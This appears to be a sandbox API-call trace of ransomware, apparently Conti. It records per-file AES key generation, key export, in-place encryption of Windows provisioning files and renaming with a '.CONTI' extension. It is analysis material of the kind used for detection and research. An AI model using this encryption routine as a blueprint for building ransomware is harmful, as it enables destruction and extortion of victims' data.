	[0108.104] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0108.383] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c78b0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x34ffaac | out: pbData=0x17d4d5c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0108.653] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0109.925] GetLastError () returned 0x0
	[0109.925] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=646) returned 1
	[0109.925] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0109.925] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.925] SetEndOfFile (hFile=0x3d0) returned 1
	[0109.935] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.935] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.940] WriteFile (in: hFile=0x3d0, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.956] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.956] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x286, lpOverlapped=0x0) returned 1
	[0109.956] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x286, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x290) returned 1
	[0109.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.956] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x290, lpOverlapped=0x0) returned 1
	[0109.956] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.956] WriteFile (in: hFile=0x3d0, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0109.956] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.956] CloseHandle (hObject=0x3d0) returned 1
	[0109.956] GetProcessHeap () returned 0x1720000
	[0109.957] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.957] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0109.957] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.957] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.957] GetProcessHeap () returned 0x1720000
	[0109.957] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.957] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0109.957] GetProcessHeap () returned 0x1720000
	[0109.957] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13c0 | out: hHeap=0x1720000) returned 1
	[0109.958] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0109.958] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b77410 | out: phKey=0x6b77410*=0x6b7f3b8) returned 1
	[0109.958] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b77414, pdwDataLen=0x34ffaac | out: pbData=0x6b77414*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0109.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml")) returned 0x20
	[0109.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0109.959] GetLastError () returned 0x0
	[0109.959] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=723) returned 1
	[0109.959] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0109.959] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.959] SetEndOfFile (hFile=0x3d0) returned 1
	[0109.959] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.959] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.959] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b77414*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b77414*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.961] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.961] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2d3, lpOverlapped=0x0) returned 1
	[0109.961] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d3, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0109.961] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.961] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.961] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.961] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b77408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b77408*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0109.961] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.961] CloseHandle (hObject=0x3d0) returned 1
	[0109.962] GetProcessHeap () returned 0x1720000
	[0109.962] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.962] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml"
	[0109.962] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml.CONTI"
	[0109.962] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\281__connections_cellular_kpn-hi (netherlands)_i13$(__mvid)@wap.provxml.conti")) returned 1
	[0109.962] GetProcessHeap () returned 0x1720000
	[0109.962] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.962] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.962] GetProcessHeap () returned 0x1720000
	[0109.962] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b74620 | out: hHeap=0x1720000) returned 1
	[0109.962] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0109.962] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b78650 | out: phKey=0x6b78650*=0x6b7f638) returned 1
	[0109.962] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b78654, pdwDataLen=0x34ffaac | out: pbData=0x6b78654*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0109.963] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml")) returned 0x20
	[0109.963] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0109.964] GetLastError () returned 0x0
	[0109.964] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=732) returned 1
	[0109.964] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc
	[0109.964] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.964] SetEndOfFile (hFile=0x3d0) returned 1
	[0109.964] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.964] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.964] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b78654*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b78654*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.968] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.968] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2dc, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2dc, lpOverlapped=0x0) returned 1
	[0109.968] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2dc, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0109.968] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.968] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.968] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.968] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b78648*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6b78648*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0109.968] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.968] CloseHandle (hObject=0x3d0) returned 1
	[0109.968] GetProcessHeap () returned 0x1720000
	[0109.968] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.968] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml"
	[0109.969] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml.CONTI"
	[0109.969] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\282__connections_cellular_kpn-hi (netherlands)_i14$(__mvid)@wap.provxml.conti")) returned 1
	[0109.969] GetProcessHeap () returned 0x1720000
	[0109.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.969] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0109.969] GetProcessHeap () returned 0x1720000
	[0109.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72b40 | out: hHeap=0x1720000) returned 1
	[0109.969] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0109.969] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6b748b8 | out: phKey=0x6b748b8*=0x6b7f3b8) returned 1
	[0109.969] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b748bc, pdwDataLen=0x34ffaac | out: pbData=0x6b748bc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0109.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml")) returned 0x20
	[0109.970] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\283__connections_cellular_kpn-hi (netherlands)_i15$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0109.970] GetLastError () returned 0x0
	[0109.971] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=735) returned 1
	[0109.971] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2df
	[0109.971] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.971] SetEndOfFile (hFile=0x3d0) returned 1
	[0109.971] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.971] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.971] WriteFile (in: hFile=0x3d0, lpBuffer=0x6b748bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6b748bc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.973] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.973] ReadFile (in: hFile=0x3d0, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2df, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2df, lpOverlapped=0x0) returned 1
	[0109.973] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2df, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e0) returned 1
	[0109.973] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.973] WriteFile (in: hFile=0x3d0, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.973] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
